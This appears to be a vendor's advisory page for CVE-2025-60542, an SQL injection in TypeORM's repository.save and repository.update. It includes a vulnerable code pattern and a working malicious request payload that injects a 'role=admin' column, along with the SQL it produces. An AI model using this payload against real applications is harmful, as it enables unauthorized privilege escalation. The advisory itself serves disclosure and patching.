Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-60542

TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update
Back to all
CVE

CVE-2025-60542

TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update

Summary

SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.

Details

Vulnerable Code:

const { username, city, name} = req.body;
const updateData = {
    username,
    city,
    name,
    id:userId
  }; // Developer aims to only allow above three fields to be updated    
const result = await userRepo.save(updateData);

Intended Payload (non-malicious):

`

username=myusername&city=Riga&name=Javad

`

OR

`{username:"myusername",phone:12345,name:"Javad"}

`

SQL query produced:

UPDATE `user` 
SET `username` = 'myusername', 
    `city` = 'Riga', 
    `name` = 'Javad' 
WHERE `id` IN (1);

Malicious Payload:

`username=myusername&city[name]=Riga&city[role]=admin

`

OR

`{username:"myusername",city:{name:"Javad",role:"admin"}}

`

SQL query produced with Injected Column:

UPDATE `user` 
SET `username` = 'myusername', 
    `city` = `name` = 'Javad', 
    `role` = 'admin' 
WHERE `id` IN (1);

Above query is valid as city = name = Javad is a boolean expression resulting in city = 1 (false). “role” column is injected and updated.

Underlying issue was due to TypeORM using mysql2 without specifying a value for the stringifyObjects option. In both mysql and mysql2 this option defaults to false. This option is then passed into SQLString library as false. This results in sqlstring parsing objects in a strange way using objectToValues.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
6.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
C
H
U
9.4
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Related Resources

No items found.

References

https://nvd.nist.gov/vuln/detail/CVE-2025-60542, https://github.com/typeorm/typeorm/pull/11574, https://github.com/typeorm/typeorm/commit/d57fe3bd8578b0b8f9847647fd046bccf825a7ef, https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54, https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524, https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124, https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts, https://github.com/typeorm/typeorm/releases/tag/0.3.26, https://github.com/typeorm/typeorm/releases?q=security&expanded=true, https://medium.com/@alizada.cavad/cve-2025-60542-typeorm-mysql-sqli-0-3-25-a1b32bc60453, http://github.com/typeorm/typeorm

Severity

9.4

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.4
EPSS Probability
0.00047%
EPSS Percentile
0.14447%
Introduced Version
0,0.4.0-alpha.1,0.2.36-dev.76e7ed94,0.0.2-alpha.62,0.0.1
Fix Available
0.3.26,0.3.26-dev.d57fe3b

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading